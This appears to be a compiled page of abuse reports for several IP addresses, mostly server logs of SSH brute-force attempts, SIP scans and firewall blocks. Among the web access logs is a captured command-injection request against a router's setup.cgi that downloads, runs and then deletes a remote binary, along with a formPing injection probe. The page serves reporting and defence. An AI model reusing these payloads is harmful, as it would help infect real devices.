May 26 10:45:07 jane sshd[14201]: Failed password for root from 37.49.226.211 port 48012 ssh2
...

2020-05-25T21:22:11.132267rocketchat.forhosting.nl sshd[12016]: Failed password for root from 37.49.226.211 port 41526 ssh2
2020-05-25T21:22:23.896376rocketchat.forhosting.nl sshd[12018]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
2020-05-25T21:22:25.910987rocketchat.forhosting.nl sshd[12018]: Failed password for root from 37.49.226.211 port 55176 ssh2
...

SSH Brute-Force reported by Fail2Ban

May 20 20:13:27 *host* sshd\[1483\]: Unable to negotiate with 37.49.226.211 port 55488: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 \[preauth\]

May 15 **REMOVED** sshd\[3525\]: Invalid user user from 37.49.226.211
May 15 **REMOVED** sshd\[3529\]: Invalid user postgres from 37.49.226.211
May 15 **REMOVED** sshd\[3531\]: Invalid user oracle from 37.49.226.211

prod6
...

May 14 00:14:53 srv01 sshd[24687]: Did not receive identification string from 37.49.226.211 port 58092
May 14 00:15:09 srv01 sshd[24705]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May 14 00:15:12 srv01 sshd[24705]: Failed password for root from 37.49.226.211 port 49942 ssh2
May 14 00:15:23 srv01 sshd[24717]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May 14 00:15:25 srv01 sshd[24717]: Failed password for root from 37.49.226.211 port 47262 ssh2
...

May  9 22:03:31 mellenthin sshd[30658]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  9 22:03:33 mellenthin sshd[30658]: Failed password for invalid user root from 37.49.226.211 port 58992 ssh2

May  9 00:35:41 server2 sshd\[8327\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:35:54 server2 sshd\[8333\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:08 server2 sshd\[8358\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:20 server2 sshd\[8366\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:32 server2 sshd\[8371\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:44 server2 sshd\[8376\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers

May  8 12:26:25 ift sshd\[59615\]: Failed password for root from 37.49.226.211 port 57638 ssh2May  8 12:26:36 ift sshd\[59623\]: Failed password for root from 37.49.226.211 port 54596 ssh2May  8 12:26:48 ift sshd\[59625\]: Failed password for root from 37.49.226.211 port 51554 ssh2May  8 12:26:59 ift sshd\[59630\]: Failed password for root from 37.49.226.211 port 48700 ssh2May  8 12:27:10 ift sshd\[59632\]: Failed password for root from 37.49.226.211 port 45508 ssh2
...

SSH brute-force attempt

$f2bV_matches

SSH bruteforce

May  4 05:58:45 MainVPS sshd[13949]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  4 05:58:48 MainVPS sshd[13949]: Failed password for root from 37.49.226.211 port 52864 ssh2
May  4 05:58:58 MainVPS sshd[14248]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  4 05:59:01 MainVPS sshd[14248]: Failed password for root from 37.49.226.211 port 49618 ssh2
May  4 05:59:11 MainVPS sshd[14340]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  4 05:59:13 MainVPS sshd[14340]: Failed password for root from 37.49.226.211 port 46386 ssh2
...

2020-05-03T23:47:22.836137mail.broermann.family sshd[8683]: Failed password for root from 37.49.226.211 port 60490 ssh2
2020-05-03T23:47:32.475166mail.broermann.family sshd[8686]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
2020-05-03T23:47:34.346138mail.broermann.family sshd[8686]: Failed password for root from 37.49.226.211 port 60686 ssh2
2020-05-03T23:47:43.980560mail.broermann.family sshd[8689]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
2020-05-03T23:47:45.695704mail.broermann.family sshd[8689]: Failed password for root from 37.49.226.211 port 60936 ssh2
...

May  3 20:55:21 tor-proxy-02 sshd\[5619\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  3 20:55:32 tor-proxy-02 sshd\[5621\]: Invalid user admin from 37.49.226.211 port 33044
May  3 20:55:44 tor-proxy-02 sshd\[5627\]: Invalid user ubuntu from 37.49.226.211 port 59116
...

May  3 07:50:17 ip-172-31-61-156 sshd[12837]: Invalid user admin from 37.49.226.211
May  3 07:50:20 ip-172-31-61-156 sshd[12837]: Failed password for invalid user admin from 37.49.226.211 port 34928 ssh2
May  3 07:50:31 ip-172-31-61-156 sshd[12852]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=ubuntu
May  3 07:50:33 ip-172-31-61-156 sshd[12852]: Failed password for ubuntu from 37.49.226.211 port 36358 ssh2
May  3 07:50:43 ip-172-31-61-156 sshd[12861]: Invalid user oracle from 37.49.226.211
...

May  2 00:49:55 master sshd[23723]: Did not receive identification string from 37.49.226.211
May  2 00:50:11 master sshd[23724]: Failed password for root from 37.49.226.211 port 51612 ssh2
May  2 00:50:22 master sshd[23726]: Failed password for invalid user admin from 37.49.226.211 port 53054 ssh2
May  2 00:50:35 master sshd[23728]: Failed password for invalid user ubuntu from 37.49.226.211 port 54520 ssh2
May  2 00:50:48 master sshd[23730]: Failed password for invalid user oracle from 37.49.226.211 port 55974 ssh2
May  2 00:51:01 master sshd[23732]: Failed password for invalid user test from 37.49.226.211 port 57424 ssh2
May  2 00:51:13 master sshd[23734]: Failed password for invalid user guest from 37.49.226.211 port 58884 ssh2
May  2 00:51:27 master sshd[23736]: Failed password for root from 37.49.226.211 port 60344 ssh2
May  2 00:51:37 master sshd[23738]: Failed password for invalid user oracle from 37.49.226.211 port 33556 ssh2

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Jun 13 06:30:04 ns3033917 sshd[28123]: Invalid user deploy from 120.71.145.166 port 39856
Jun 13 06:30:06 ns3033917 sshd[28123]: Failed password for invalid user deploy from 120.71.145.166 port 39856 ssh2
Jun 13 06:42:31 ns3033917 sshd[28290]: Invalid user janet from 120.71.145.166 port 36539
...

Jun 13 22:17:58 web1 sshd[4201]: Invalid user monitor from 178.32.219.209 port 37930
Jun 13 22:17:58 web1 sshd[4201]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.32.219.209
Jun 13 22:17:58 web1 sshd[4201]: Invalid user monitor from 178.32.219.209 port 37930
Jun 13 22:17:59 web1 sshd[4201]: Failed password for invalid user monitor from 178.32.219.209 port 37930 ssh2
Jun 13 22:25:49 web1 sshd[6129]: Invalid user koen from 178.32.219.209 port 58306
Jun 13 22:25:49 web1 sshd[6129]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.32.219.209
Jun 13 22:25:49 web1 sshd[6129]: Invalid user koen from 178.32.219.209 port 58306
Jun 13 22:25:51 web1 sshd[6129]: Failed password for invalid user koen from 178.32.219.209 port 58306 ssh2
Jun 13 22:28:48 web1 sshd[6811]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.32.219.209  user=root
Jun 13 22:28:50 web1 sshd[6811
...

Invalid user honey from 144.172.73.44 port 45952

prod8
...

Jun 13 08:40:25 plusreed sshd[3631]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.15.62  user=root
Jun 13 08:40:27 plusreed sshd[3631]: Failed password for root from 222.186.15.62 port 40447 ssh2
...

k+ssh-bruteforce

Automatic report - Port Scan Attack

(sshd) Failed SSH login from 195.54.160.180 (RU/Russia/-): 5 in the last 3600 secs

10 attempts against mh-misc-ban on heat

Jun 13 12:15:16 vserver sshd\[20380\]: Invalid user asterisk from 213.37.40.162Jun 13 12:15:18 vserver sshd\[20380\]: Failed password for invalid user asterisk from 213.37.40.162 port 37522 ssh2Jun 13 12:18:43 vserver sshd\[20403\]: Failed password for root from 213.37.40.162 port 38632 ssh2Jun 13 12:22:07 vserver sshd\[20419\]: Failed password for root from 213.37.40.162 port 39728 ssh2
...

Jun 13 14:19:15 inter-technics sshd[20416]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.186.73.162  user=root
Jun 13 14:19:16 inter-technics sshd[20416]: Failed password for root from 139.186.73.162 port 38472 ssh2
Jun 13 14:24:03 inter-technics sshd[20671]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.186.73.162  user=root
Jun 13 14:24:06 inter-technics sshd[20671]: Failed password for root from 139.186.73.162 port 57862 ssh2
Jun 13 14:28:47 inter-technics sshd[20927]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.186.73.162  user=root
Jun 13 14:28:49 inter-technics sshd[20927]: Failed password for root from 139.186.73.162 port 49020 ssh2
...

Invalid user ts3user from 51.161.45.65 port 60140

DATE:2020-06-13 14:28:51, IP:106.12.28.152, PORT:ssh SSH brute force auth (docker-dc)

2020-06-13T14:08:35.354489n23.at sshd[30357]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=132.232.21.19
2020-06-13T14:08:35.346218n23.at sshd[30357]: Invalid user gpadmin from 132.232.21.19 port 54576
2020-06-13T14:08:37.267439n23.at sshd[30357]: Failed password for invalid user gpadmin from 132.232.21.19 port 54576 ssh2
...

Invalid user cs from 190.64.137.173 port 57233